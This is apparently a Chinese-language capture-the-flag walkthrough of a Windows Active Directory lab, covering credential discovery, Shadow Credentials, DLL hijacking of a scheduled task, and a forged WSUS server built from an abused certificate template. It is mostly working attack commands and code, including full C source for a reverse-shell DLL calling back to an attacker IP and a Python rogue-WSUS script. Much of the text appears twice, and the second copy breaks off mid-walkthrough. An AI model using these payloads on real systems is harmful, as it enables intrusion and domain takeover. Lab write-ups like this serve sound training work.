中等难度的 Windows AD 靶机。通过 SMB Logs 共享中的日志文件发现 svc_recovery 旧密码,利用 Kerberos TGT 躺证绕过登录限制。通过 GenericWrite 权限对 MSA_HEALTH$ 发动 Shadow Credentials 攻击,以 MSA_HEALTH$ 身份登录 WinRM。分析计划任务中的 UpdateMonitor.exe,通过向可写目录投放恶意 DLL,骑劫高权限用户 jaylee.clifton 的运行环境。最终利用 AD CS(UpdateSrv 模板)注册伪造的 WSUS DNS 记录,伮造 WSUS 内网中继攻击,推送带微软签名的 PsExec 实现提权至 Domain Admin。 中等难度的 Windows AD 靶机。通过 SMB Logs 共享中的日志文件发现 svc_recovery 旧密码,利用 Kerberos TGT 躺证绕过登录限制。通过 GenericWrite 权限对 MSA_HEALTH$ 发动 Shadow Credentials 攻击,以 MSA_HEALTH$ 身份登录 WinRM。分析计划任务中的 UpdateMonitor.exe,通过向可写目录投放恶意 DLL,骑劫高权限用户 jaylee.clifton 的运行环境。最终利用 AD CS(UpdateSrv 模板)注册伪造的 WSUS DNS 记录,伮造 WSUS 内网中继攻击,推送带微软签名的 PsExec 实现提权至 Domain Admin。
枚举
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 15:07 +0800
Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 92.31% done; ETC: 15:08 (0:00:03 remaining)
Nmap scan report for 10.129.126.0
Host is up (0.070s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-19 14:07:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m04s, deviation: 0s, median: 7h00m04s
| smb2-time:
| date: 2026-04-19T14:08:32
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.72 seconds
smb
➜ Logging nxc smb 10.129.126.0 -u 'wallace.everette' -p 'Welcome2026@' --shares
SMB 10.129.126.0 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.126.0 445 DC01 [+] logging.htb\wallace.everette:Welcome2026@
SMB 10.129.126.0 445 DC01 [*] Enumerated shares
SMB 10.129.126.0 445 DC01 Share Permissions Remark
SMB 10.129.126.0 445 DC01 ----- ----------- ------
SMB 10.129.126.0 445 DC01 ADMIN$ Remote Admin
SMB 10.129.126.0 445 DC01 C$ Default share
SMB 10.129.126.0 445 DC01 IPC$ READ Remote IPC
SMB 10.129.126.0 445 DC01 Logs READ
SMB 10.129.126.0 445 DC01 NETLOGON READ Logon server share
SMB 10.129.126.0 445 DC01 SYSVOL READ Logon server share
SMB 10.129.126.0 445 DC01 WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.
smbclient //10.129.126.0/log -U 'wallace.everette%Welcome2026@'
发现一些log文件,下载下来,在文件IdentitySync_Trace_20260219.log 发现
ConnectionContext Dump: {
Domain: "logging.htb",
Server: "DC01",
SSL: "False",
BindUser: "LOGGING\svc_recovery",
BindPass: "Em3rg3ncyPa$$2025",
Timeout: 30
}
Establishing SQL session with HR01.logging.htb...
LOGGING\svc_recovery / Em3rg3ncyPa$$2025 和一个新域名HR01.logging.htb
| 信息 | 详情 |
|---|---|
| 新主机名 | HR01.logging.htb(SQL Server) |
| 数据库 | loggingHR,表 Employees,查询条件 SyncStatus = 0 |
| 服务 | IdentitySync.Engine v2.4.2.0,用于从 HR SQL 同步用户到 AD |
| 操作系统 | Windows Server 2019, 4核, 16GB |
| 告警邮箱 | it-alerts@logging.htb |
| 同步批次 | 14条记录,BatchID: 88AF-01 |
| 凭据 | LOGGING\svc_recovery / Em3rg3ncyPa$$2025 |
日志中显示:ERROR - LdapException: ... data 52e ... LDAP_INVALID_CREDENTIALS ... Invalid Credentials
2026-03-09 的日志又显示Success LdapConnection object...
所以这中间肯定是改了密码,或者日志中记录的是旧的/错误的密码,实际运行时用的是别的凭据
➜ Logging nxc smb HR01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2025'
SMB 10.129.126.0 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.126.0 445 DC01 [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 STATUS_ACCOUNT_RESTRICTION|
出现的是STATUS_ACCOUNT_RESTRICTION 说明密码可能是对的,只是不能登录,被禁止登录。尝试其他的协议也是一样
➜ Logging ldapsearch -x -H ldap://10.129.126.0 -D 'svc_recovery@logging.htb' -w 'Em3rg3ncyPa$$2025' -b "DC=logging,DC=htb" "(sAMAccountName=svc_recovery)"
ldap_bind: Invalid credentials (49)
additional info: 80090308: LdapErr: DSID-0C090530, comment: AcceptSecurityContext error, data 52f, v4563
关键字:LDAP error code 49 + data 52f。
- 49 总体就是“认证失败”,但具体原因看后面的 data:
52e:最常见,就是密码错(你之前在 IdentitySync 日志里看到过这个)。52f:文档与厂商 KB 都明确说,这是“账号限制导致的失败”,比如:- 帐户被禁用
- 只允许从某些计算机登录(“登录到”的工作站列表)
- 不允许在当前时间登录(登录时间段限制)这类原因都会得到
52f,而不是52e
所以svc_recovery 很可能配了“仅允许登录到 HR01.logging.htb”,而HR01.logging.htb属于内网
bloodhound
发现SVC_RECOVERY@LOGGING.HTB 对 MSA_HEALTH$@LOGGING.HTB有GenericWrite权限
既然登陆不了,我们就申请一张SVC_RECOVERY的TGT
impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2025' -dc-ip 10.129.126.0
# Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
显示密码错误,我们尝试一下其他密码
impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2026' -dc-ip 10.129.126.0
# [*] Saving ticket in svc_recovery.ccache
现在利用 GenericWrite → Shadow Credentials 攻击 MSA_HEALTH$
export KRB5CCNAME=svc_recovery.ccache
certipy-ad shadow auto \
-u svc_recovery@logging.htb \
-k \
-account 'MSA_HEALTH$' \
-dc-ip 10.129.126.0 \
-target DC01.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Targeting user 'msa_health$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '9ed21471806040e69539e6e59387cd29'
[*] Adding Key Credential with device ID '9ed21471806040e69539e6e59387cd29' to the Key Credentials for 'msa_health$'
[*] Successfully added Key Credential with device ID '9ed21471806040e69539e6e59387cd29' to the Key Credentials for 'msa_health$'
[*] Authenticating as 'msa_health$' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5
利用该凭据收集信息
bloodhound-python -d logging.htb \
-u 'MSA_HEALTH$' \
--hashes aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5 \
-dc DC01.logging.htb \
-ns 10.129.126.0 \
-c All --zip
WinRm
登录用户MSA_HEALTH$
evil-winrm -i 10.129.126.0 -u 'MSA_HEALTH$' -H 603fc24ee01a9409f83c9d1d701485c5
进入后发现monitor.ps1,这是脚本监控计划任务状态,写日志到 C:\Share\Logs\
<#
.SYNOPSIS
Monitors the status of the "UpdateChecker Agent" scheduled task.
Uses COM interface to avoid CIM/WMI permission issues.
#>
告诉我们用 COM 接口查询计划任务,因为 CIM/WMI 被禁,用 COM:
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Principal.UserId # → jaylee.clifton ★高权限用户
$task.Definition.Triggers # → PT3M(每3分钟)
$task.Definition.Actions # → UpdateMonitor.exe 500 /scan=3 /autofix=true
USER
检查文件权限
icacls C:\Users\msa_health$\Documents\monitor.ps1
# msa_health$:(F) ← 完全控制
icacls C:\ProgramData\UpdateMonitor\
# BUILTIN\Users:(WD,AD) ← 可以写文件!
icacls "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
# logging\IT:(F) ← 只有IT组能改exe
反编译 UpdateMonitor.exe 看清逻辑
# 攻击机
dotnet tool install -g ilspycmd --version 8.2.0.7535
ilspycmd UpdateMonitor.exe > decompiled.cs
源码逻辑:
1. 检查 C:\ProgramData\UpdateMonitor\Settings_Update.zip 是否存在
2. 存在则解压到 C:\Program Files\UpdateMonitor\bin\
3. LoadLibrary("settings_update.dll")
4. GetProcAddress("PreUpdateCheck")
5. 调用 PreUpdateCheck() ← 以 jaylee.clifton 身份执行!
制作恶意 DLL
cat > evil.c << 'EOF'
#include <windows.h>
#include <winsock2.h>
__declspec(dllexport) void PreUpdateCheck() {
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr = inet_addr("10.10.16.83");
connect(sock, (struct sockaddr*)&server, sizeof(server));
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
WSACleanup();
}
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID lp) { return TRUE; }
EOF
# 编译
x86_64-w64-mingw32-gcc -shared -o settings_update.dll evil.c -lws2_32
zip Settings_Update.zip settings_update.dll
# 打包
zip Settings_Update.zip settings_update.dll
# 上传并等待
upload Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip
查看日志发现问题
09:08 - Successfully unzipped ✅
09:08 - Failed to load settings_update.dll. Error code: 193 ❌
# Error 193 = 架构不匹配
file settings_update.dll
# 确认当前架构,然后用正确编译器重新编译
i686-w64-mingw32-gcc -shared -o settings_update.dll evil.c -lws2_32
zip Settings_Update.zip settings_update.dll
开监听上传等待三分钟获取到shell

ROOT
PS C:\Users\jaylee.clifton\Documents\Tickets> dir
dir
Directory: C:\Users\jaylee.clifton\Documents\Tickets
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/16/2026 7:27 PM 2453 Incident_4922_WSUS_Remediation_ViewExport.html
html说明了
wsus.logging.htb → staging WSUS 服务器(DNS 未更新)
ForceSync 计划任务 → 每 120 秒跑一次
任务行为:清空 SoftwareDistribution + 重启 wuauserv
先获取TGS
Rubeus.exe tgtdeleg /target:ldap/DC01.logging.htb /nowrap
枚举AD CS证书
export KRB5CCNAME=jaylee.ccache
certipy find -k -dc-ip 10.129.126.0 \
-dc-host DC01.logging.htb \
-target DC01.logging.htb
Certificate Templates
0
Template Name : UpdateSrv
Display Name : UpdateSrv
Certificate Authorities : logging-DC01-CA
Enabled : True
Client Authentication : False
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True # ← 可以自定义CN/SAN
Certificate Name Flag : EnrolleeSuppliesSubject
Extended Key Usage : Server Authentication
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Schema Version : 2
Validity Period : 10 years
Renewal Period : 6 weeks
# 注册权限只有 IT 组,jaylee就是IT组
这是给 WSUS 服务器签 SSL 证书用的模板。路线就清晰了:
用 UpdateSrv 模板签一张 CN=wsus.logging.htb 的证书
↓
伪造 WSUS 服务器(HTTPS)
↓
ForceSync 任务每 120s 自动来连
↓
推送恶意更新包 / 中间人
申请证书
certipy req -k \
-dc-ip 10.129.126.0 \
-dc-host DC01.logging.htb \
-target DC01.logging.htb \
-ca logging-DC01-CA \
-template UpdateSrv \
-upn wsus.logging.htb \
-dns wsus.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 7
[*] Successfully requested certificate
[*] Got certificate with multiple identities
UPN: 'wsus.logging.htb'
DNS Host Name: 'wsus.logging.htb'
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'wsus.logging.htb_wsus.pfx'
[*] Wrote certificate and private key to 'wsus.logging.htb_wsus.pfx'
添加dns记录
bloodyAD -d logging.htb \
-u jaylee.clifton \
-k \
--host DC01.logging.htb \
--dc-ip 10.129.126.0 \
add dnsRecord wsus 10.10.16.83
[+] wsus has been successfully added
验证
C:\Users\jaylee.clifton\Documents\Tickets>nslookup wsus.logging.htb
nslookup wsus.logging.htb
Server: localhost
Address: 127.0.0.1
Name: wsus.logging.htb
Address: 10.10.16.83
安装wsuks
pip install --user wsuks
安装payload:wget https://live.sysinternals.com/tools/PsExec64.exe -O /tmp/PsExec64.exe
把 pfx 转成 pem
openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus_srv_cert.pem -clcerts -nokeys -passin pass:
openssl pkcs12 -in wsus.logging.htb_wsus.pfx -out wsus_srv_key.pem -nocerts -nodes -passin pass:
创建 run_wsuks.py
import ssl, sys, os, logging, threading
from functools import partial
from http.server import HTTPServer
sys.modules['wsuks.lib.router'] = type(sys)('stub')
sys.modules['wsuks.lib.router'].Router = object
from wsuks.lib.logger import initLogger
initLogger(debug=False)
from wsuks.lib.wsusserver import WSUSUpdateHandler, WSUSBaseServer
HOST = '10.10.16.83'
EXE = '/tmp/PsExec64.exe'
COMMAND = '/accepteula /s cmd.exe /c "net localgroup administrators msa_health$ /add"'
exe_bytes = open(EXE, 'rb').read()
h = WSUSUpdateHandler(exe_bytes, os.path.basename(EXE), f'http://{HOST}:8530')
h.set_resources_xml(COMMAND)
def serve(port, use_tls):
httpd = HTTPServer((HOST, port), partial(WSUSBaseServer, h))
if use_tls:
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain('wsus_srv_cert.pem', 'wsus_srv_key.pem')
httpd.socket = ctx.wrap_socket(httpd.socket, server_side=True)
httpd.serve_forever()
threading.Thread(target=serve, args=(8530, False), daemon=True).start()
serve(8531, True)
运行
python3 run_wsuks.py
等待获取两个Get后
*Evil-WinRM* PS C:\Users\msa_health$\Documents> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
Domain Admins
Enterprise Admins
msa_health$
toby.brynleigh
重新登录evil-winrm即可
其他
WSUS 更新机制要求:
- 客户端信任 WSUS 服务器的 TLS 证书
- 推送的可执行文件必须有微软签名(PsExec 满足这个条件)
- 更新元数据格式必须正确,客户端才会进入下载阶段
pywsus 在第三点上有问题,对 Server 2019 的产品分类匹配不上,导致客户端认为"0 updates"。wsuks 修复了这个元数据格式问题。
枚举
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 15:07 +0800
Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 92.31% done; ETC: 15:08 (0:00:03 remaining)
Nmap scan report for 10.129.126.0
Host is up (0.070s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-04-19 14:07:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: logging.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-04-19T14:08:40+00:00; +7h00m05s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:DC01.logging.htb, DNS:logging.htb, DNS:logging
| Not valid before: 2026-04-17T03:20:01
|_Not valid after: 2106-04-17T03:20:01
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 7h00m04s, deviation: 0s, median: 7h00m04s
| smb2-time:
| date: 2026-04-19T14:08:32
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.72 seconds
smb
➜ Logging nxc smb 10.129.126.0 -u 'wallace.everette' -p 'Welcome2026@' --shares
SMB 10.129.126.0 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.126.0 445 DC01 [+] logging.htb\wallace.everette:Welcome2026@
SMB 10.129.126.0 445 DC01 [*] Enumerated shares
SMB 10.129.126.0 445 DC01 Share Permissions Remark
SMB 10.129.126.0 445 DC01 ----- ----------- ------
SMB 10.129.126.0 445 DC01 ADMIN$ Remote Admin
SMB 10.129.126.0 445 DC01 C$ Default share
SMB 10.129.126.0 445 DC01 IPC$ READ Remote IPC
SMB 10.129.126.0 445 DC01 Logs READ
SMB 10.129.126.0 445 DC01 NETLOGON READ Logon server share
SMB 10.129.126.0 445 DC01 SYSVOL READ Logon server share
SMB 10.129.126.0 445 DC01 WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.
smbclient //10.129.126.0/log -U 'wallace.everette%Welcome2026@'
发现一些log文件,下载下来,在文件IdentitySync_Trace_20260219.log 发现
ConnectionContext Dump: {
Domain: "logging.htb",
Server: "DC01",
SSL: "False",
BindUser: "LOGGING\svc_recovery",
BindPass: "Em3rg3ncyPa$$2025",
Timeout: 30
}
Establishing SQL session with HR01.logging.htb...
LOGGING\svc_recovery / Em3rg3ncyPa$$2025 和一个新域名HR01.logging.htb
| 信息 | 详情 |
|---|---|
| 新主机名 | HR01.logging.htb(SQL Server) |
| 数据库 | loggingHR,表 Employees,查询条件 SyncStatus = 0 |
| 服务 | IdentitySync.Engine v2.4.2.0,用于从 HR SQL 同步用户到 AD |
| 操作系统 | Windows Server 2019, 4核, 16GB |
| 告警邮箱 | it-alerts@logging.htb |
| 同步批次 | 14条记录,BatchID: 88AF-01 |
| 凭据 | LOGGING\svc_recovery / Em3rg3ncyPa$$2025 |
日志中显示:ERROR - LdapException: ... data 52e ... LDAP_INVALID_CREDENTIALS ... Invalid Credentials
2026-03-09 的日志又显示Success LdapConnection object...
所以这中间肯定是改了密码,或者日志中记录的是旧的/错误的密码,实际运行时用的是别的凭据
➜ Logging nxc smb HR01.logging.htb -u 'svc_recovery' -p 'Em3rg3ncyPa$$2025'
SMB 10.129.126.0 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:logging.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.126.0 445 DC01 [-] logging.htb\svc_recovery:Em3rg3ncyPa$$2025 STATUS_ACCOUNT_RESTRICTION|
出现的是STATUS_ACCOUNT_RESTRICTION 说明密码可能是对的,只是不能登录,被禁止登录。尝试其他的协议也是一样
➜ Logging ldapsearch -x -H ldap://10.129.126.0 -D 'svc_recovery@logging.htb' -w 'Em3rg3ncyPa$$2025' -b "DC=logging,DC=htb" "(sAMAccountName=svc_recovery)"
ldap_bind: Invalid credentials (49)
additional info: 80090308: LdapErr: DSID-0C090530, comment: AcceptSecurityContext error, data 52f, v4563
关键字:LDAP error code 49 + data 52f。
- 49 总体就是“认证失败”,但具体原因看后面的 data:
52e:最常见,就是密码错(你之前在 IdentitySync 日志里看到过这个)。52f:文档与厂商 KB 都明确说,这是“账号限制导致的失败”,比如:- 帐户被禁用
- 只允许从某些计算机登录(“登录到”的工作站列表)
- 不允许在当前时间登录(登录时间段限制)这类原因都会得到
52f,而不是52e
所以svc_recovery 很可能配了“仅允许登录到 HR01.logging.htb”,而HR01.logging.htb属于内网
bloodhound
发现SVC_RECOVERY@LOGGING.HTB 对 MSA_HEALTH$@LOGGING.HTB有GenericWrite权限
既然登陆不了,我们就申请一张SVC_RECOVERY的TGT
impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2025' -dc-ip 10.129.126.0
# Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid)
显示密码错误,我们尝试一下其他密码
impacket-getTGT logging.htb/svc_recovery:'Em3rg3ncyPa$$2026' -dc-ip 10.129.126.0
# [*] Saving ticket in svc_recovery.ccache
现在利用 GenericWrite → Shadow Credentials 攻击 MSA_HEALTH$
export KRB5CCNAME=svc_recovery.ccache
certipy-ad shadow auto \
-u svc_recovery@logging.htb \
-k \
-account 'MSA_HEALTH$' \
-dc-ip 10.129.126.0 \
-target DC01.logging.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)
[!] DC host (-dc-host) not specified and Kerberos authentication is used. This might fail
[*] Targeting user 'msa_health$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '9ed21471806040e69539e6e59387cd29'
[*] Adding Key Credential with device ID '9ed21471806040e69539e6e59387cd29' to the Key Credentials for 'msa_health$'
[*] Successfully added Key Credential with device ID '9ed21471806040e69539e6e59387cd29' to the Key Credentials for 'msa_health$'
[*] Authenticating as 'msa_health$' with the certificate
[*] Certificate identities:
[*] No identities found in this certificate
[*] Using principal: 'msa_health$@logging.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'msa_health.ccache'
[*] Wrote credential cache to 'msa_health.ccache'
[*] Trying to retrieve NT hash for 'msa_health$'
[*] Restoring the old Key Credentials for 'msa_health$'
[*] Successfully restored the old Key Credentials for 'msa_health$'
[*] NT hash for 'msa_health$': 603fc24ee01a9409f83c9d1d701485c5
利用该凭据收集信息
bloodhound-python -d logging.htb \
-u 'MSA_HEALTH$' \
--hashes aad3b435b51404eeaad3b435b51404ee:603fc24ee01a9409f83c9d1d701485c5 \
-dc DC01.logging.htb \
-ns 10.129.126.0 \
-c All --zip
WinRm
登录用户MSA_HEALTH$
evil-winrm -i 10.129.126.0 -u 'MSA_HEALTH$' -H 603fc24ee01a9409f83c9d1d701485c5
进入后发现monitor.ps1,这是脚本监控计划任务状态,写日志到 C:\Share\Logs\
<#
.SYNOPSIS
Monitors the status of the "UpdateChecker Agent" scheduled task.
Uses COM interface to avoid CIM/WMI permission issues.
#>
告诉我们用 COM 接口查询计划任务,因为 CIM/WMI 被禁,用 COM:
$service = New-Object -ComObject "Schedule.Service"
$service.Connect()
$task = $service.GetFolder("\").GetTask("UpdateChecker Agent")
$task.Definition.Principal.UserId # → jaylee.clifton ★高权限用户
$task.Definition.Triggers # → PT3M(每3分钟)
$task.Definition.Actions # → UpdateMonitor.exe 500 /scan=3 /autofix=true
USER
检查文件权限
icacls C:\Users\msa_health$\Documents\monitor.ps1
# msa_health$:(F) ← 完全控制
icacls C:\ProgramData\UpdateMonitor\
# BUILTIN\Users:(WD,AD) ← 可以写文件!
icacls "C:\Program Files\UpdateMonitor\UpdateMonitor.exe"
# logging\IT:(F) ← 只有IT组能改exe
反编译 UpdateMonitor.exe 看清逻辑
# 攻击机
dotnet tool install -g ilspycmd --version 8.2.0.7535
ilspycmd UpdateMonitor.exe > decompiled.cs
源码逻辑:
1. 检查 C:\ProgramData\UpdateMonitor\Settings_Update.zip 是否存在
2. 存在则解压到 C:\Program Files\UpdateMonitor\bin\
3. LoadLibrary("settings_update.dll")
4. GetProcAddress("PreUpdateCheck")
5. 调用 PreUpdateCheck() ← 以 jaylee.clifton 身份执行!
制作恶意 DLL
cat > evil.c << 'EOF'
#include <windows.h>
#include <winsock2.h>
__declspec(dllexport) void PreUpdateCheck() {
WSADATA wsaData;
WSAStartup(MAKEWORD(2,2), &wsaData);
SOCKET sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(4444);
server.sin_addr.s_addr = inet_addr("10.10.16.83");
connect(sock, (struct sockaddr*)&server, sizeof(server));
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)sock;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
WSACleanup();
}
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID lp) { return TRUE; }
EOF
# 编译
x86_64-w64-mingw32-gcc -shared -o settings_update.dll evil.c -lws2_32
zip Settings_Update.zip settings_update.dll
# 打包
zip Settings_Update.zip settings_update.dll
# 上传并等待
upload Settings_Update.zip C:\ProgramData\UpdateMonitor\Settings_Update.zip
查看日志发现问题
09:08 - Successfully unzipped ✅
09:08 - Failed to load settings_update.dll. Error code: 193 ❌
# Error 193 = 架构不匹配
file settings_update.dll
# 确认当前架构,然后用正确编译器重新编译
i686-w64-mingw32-gcc -shared -o settings_update.dll evil.c -lws2_32
zip Settings_Update.zip settings_update.dll
开监听上传等待三分钟获取到shell

ROOT
PS C:\Users\jaylee.clifton\Documents\Tickets> dir
dir
Directory: C:\Users\jaylee.clifton\Documents\Tickets
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/16/2026 7:27 PM 2453 Incident_4922_WSUS_Remediation_ViewExport.html
html说明了
wsus.logging.htb → staging WSUS 服务器(DNS 未更新)
ForceSync 计划任务 → 每 120 秒跑一次
任务行为:清空 SoftwareDistribution + 重启 wuauserv
先获取TGS
